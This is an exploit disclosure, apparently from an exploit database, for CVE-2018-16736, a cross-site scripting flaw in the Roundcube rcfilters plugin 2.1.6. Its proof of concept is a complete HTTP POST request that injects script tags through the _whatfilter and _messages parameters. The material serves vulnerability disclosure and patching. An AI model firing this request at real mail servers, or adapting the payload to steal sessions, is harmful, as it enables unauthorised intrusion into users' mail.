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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Roundcube rcfilters plugin 2.1.6 - Cross-Site Scripting
# Date: 2018-09-09
# Exploit Author: Fahimeh Rezaei
# Vendor Homepage: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Software Link: https://plugins.roundcube.net/packages/eagle00789/rcfilters
# Version: rcfilters plugin v2.1.6
# Tested on: Roundcube version 1.0.5
# CVE : CVE-2018-16736
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16736
# https://nvd.nist.gov/vuln/detail/CVE-2018-16736
# https://github.com/eagle00789/RC_Filters/issues/19

# Details:
# In the rcfilters plugin 2.1.6 for Roundcube, XSS exists via the 
# _whatfilter and _messages parameters (in the Filters section of the settings).

# PoC

POST /rc/?_task=settings&_action=plugin.filters-save HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Referer: https://Target/rc/?_action=plugin.filters&_task=settings
Cookie: roundcube_sessid=; roundcube_sessauth=
Connection: close
Upgrade-Insecure-Requests: 1

_token=09bcde247d252364ea55c217c7654a1f&_whatfilter=from]<script>alert('XSS-1')</script>&_searchstring=whatever&_casesensitive=1&_folders=INBOX&_messages=all])<script>alert('XSS-2')</script>